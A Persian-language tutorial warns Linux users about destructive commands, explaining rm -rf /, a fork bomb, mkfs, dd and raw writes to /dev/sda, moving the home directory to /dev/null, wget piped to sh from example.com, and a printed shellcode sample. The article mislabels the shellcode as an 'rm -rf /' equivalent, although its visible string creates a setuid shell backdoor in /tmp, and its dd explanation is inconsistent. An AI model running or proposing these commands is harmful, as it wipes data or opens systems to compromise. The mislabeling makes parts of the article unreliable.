ترمینال لینوکس بسیار قدرتمند است و لینوکس در رابطه با اجرای یک کامند از شما تاییدیه نمی گیرد و به دستور شما Command را اجرا می کند. اما کامند چیست command line یا شل – خط دستور – در واقع راهی سریع و موثر برای برقراری تعامل است. ممکن است در ابتدای کار با لینوکس اشتباها دستوراتی را اجرا کنید که نتیجه آن نابودی سیستم عامل شما باشد. پس در این مقاله با ما همراه باشید تا کامند مرگبار در لینوکس که هرگز نباید اجرا شوند را بیاموزیم.
یاد گرفتن کامند هایی که شما را دچار مشکلات عدیده ای نظیر از بین رفتن سیستم عامل در توزیع های لینوکس می کنند باعث می شود که از حربه های کسانی که برای سرگرمی و شیطنت آنها را در دستورات لینوکس پیشنهاد می دهند در امان بمانید. این مقاله یک مقاله کامل نیست و ممکن است command هایی که در اینجا یاد می شود با دستورات دیگری در یک خط قرار بگیرند و شما را دچار گمراهی کنند.
اولین نکته که باید توجه داشته باشید این است که اغلب دستورات زیر با دسترسی Root اجرا می شوند. پس اولین قدم امنیتی که می توانید بردارید این است که همیشه با دسترسی Root وارد ترمینال نشوید و در صورت لزوم از دستور Sudo برای گرفتن دسترسی Root استفاده کنید.
rm -rf / (به معنی پاک کردن همه چیز!)
کامند rm –rf / هر آن چیزی که در ریشه لینوکس شما یعنی دایرکتوری / هست را پاک می کند. این فایل ها عبارتند از فایل ها و فولدر های روی هارد دیسک سیستم شما و دستگاه های قابل حمل مانند فلش USB. برای اطلاع از
rm کامندی است که کار Remove را انجام می دهد و –rf به این معنیست که بصورت Recursive و Force (بدون پرسیدن مجدد) فایل ها را پاک کن. / هم به معنی دایرکتوری ریشه یا Root می باشد.
دستور مشابه rm –rf /
Command زیر دستور کاملا مشابه rm –rf / است که بصوت Hex در آمده است.
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”
“\x6e\x2f\x73\x68\x00\x2d\x63\x00”
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
نمونه این دستور در اینترنت پیدا می شود که احتمالا گفته شده کار مثبتی انجام می دهد! توجه داشته باشید که هرگز کامندی را که نمی دانید چه کاری انجام می دهد اجرا نکنید.
کامند :(){ :|: & };:
کامند :(){ :|: & };: یک کامند ساده به نظر می رسد اما می تواند بسیار خطرناک باشد! این کامند یک bash function است.
این کاراکتر های کوتاه یک Function هستند که کار آن تولید یک نسخه کپی جدید از خودش است. این کار بصورت یک Loop انجام شده و آنقدر از خودش نسخه جدید تولید می کند که کل منابع CPU و RAM سرور شما را درگیر می کند تا سیستم به حالت Freeze فرو رود. از این دستور به عنوان یک حمله DoS و Fork Bomb نام برده می شود.
نکته: Bash function ها بسیار قدرتمند هستند، حتی اگر خیلی کوتاه باشند.
mkfs.ext4 /dev/sda1 (فرمت کردن یک هارد دیسک)
فهمیدن کامند mkfs.ext4 /dev/sda1 خیلی ساده است.
Mkfs مخفف Make File System است به معنی ایجاد یک فایل سیستم جدید.
Ext4 یک نوع File System است.
/dev/sda1 مسیر اولین پارتیشن اولین هارد دیسک روی سرور است.
این دستور به این معنی است که کل پارتیشن اصلی را فرمت کنیم! مشابه این دستور در ویندوز فرمت کردن درایو C است. این دستور کل پارتیشن sda1 شما را پاک کرده و یک پارتیشن جدید با فایل سیستم ext4 میسازد.
نکته: در صورتی که کامندی را روی /dev/sd* اجزا می کنید دقت لازم را داشته باشید.
command > /dev/sda (نوشتن مستقیم محتوا در اولین هارد دیسک!)
دستور command > /dev/sda (منظور از command هر دستوری است که به جای کلمه command می نشیند.) در واقع به این شکل است که یک کامند را اجرا می کند بعد با استفاده از کاراکتر > نتیجه دستور را در مسیر /dev/sda می نویسد. این نوشتن باعث می شود که اولین بایت های هارد دیسک که اطلاعات فایل سیستم در آن نوشته شده است دچار تخریب شوند و دیسک غیر قابل استفاده شود.
نکته: هرگز خروجی یک دستور را بصورت مستقیم در یک هارد دیسک ننویسید.
dd if=/dev/random of=/dev/sda (نوشتن محتوای غلط (معمولا ۰) در یک هارد دیسک)
دستور dd if=/dev/random of=/dev/sda باعث می شود که کل محتوای هارد دیسک sda شما از بین برود.
دستور dd در لینوکس دو مقدار می گیرد که محتوای if را بصورت Low-Level در of کپی می کند. معمولا برای از بین بردن اطلاعات به صورتی که بازیابی آن توسط recovery ها غیر ممکن باشد از این کامند استفاده می شود. مسیر /dev/zero شامل محتوای ۰ است. این دستور باعث می شود تک تک بایت های هارد دیسک با کاراکتر ۰ پر شود.
نکته: دستور dd در لینوکس محتوا را از if به of کپی می کند مراقب باشید در of چه مسیری را وارد می کنید.
mv ~ /dev/null (move کردن Home Directory به یک سیاه چاله!)
مسیر /dev/null یک مسیر ویژه است. انتقال هر چیزی به این مسیر به معنی نابود کردن آن است. مسیر /dev/null مسیر یک سیاه چاله است که بازگشتی از آن وجود ندارد. کامند mv ~ /dev/null کل محتویات پوشه شخصی شما را به سیاه چاله میفرستد و دیگر دسترسی به آن نخواهید داشت.
دستور mv عملیات move را انجام می دهد.
~ مسیر Home Directory شخصی است که لاگین کرده است.
/dev/null هم مسیرسیاه چاله است.
نکته: انتقال هر چیزی به مسیر /dev/null باعث نابودی آن می شود.
wget http://example.com/something -O – | sh (دانلود یک فایل و اجرای آن به عنوان یک Script)
دستور بالا یک اسکریپت را از اینترنت دانلود می کند و به محض اتمام دانلود ان را به عنوان یک Script اجرا می کند. این مساله می تواند زمانی خطرناک باشد که اطمینان از صحت عملکرد آن اسکریپت نداشته باشید.
کامند wget یک فایل را از اینترنت دانلود می کند.
http://example.com/something مسیر فایلیست که در حال دانلود می باشد.
کاراکتر | (Pipe Line) خروجی دستور سمت چپ را به ورودی دستور سمت راست می فرستد.
Sh فایل را به عنوان یک Bash Script اجرا می کند.
نکته: هرگز اسکریپت های نامطمئن و ناشناخته را دانلود و اجرا نکنید.
امیدواریم با استفاده از این مقاله سیستم عامل لینوکسی خود را همواره از خطرات این چنینی حفظ نمایید.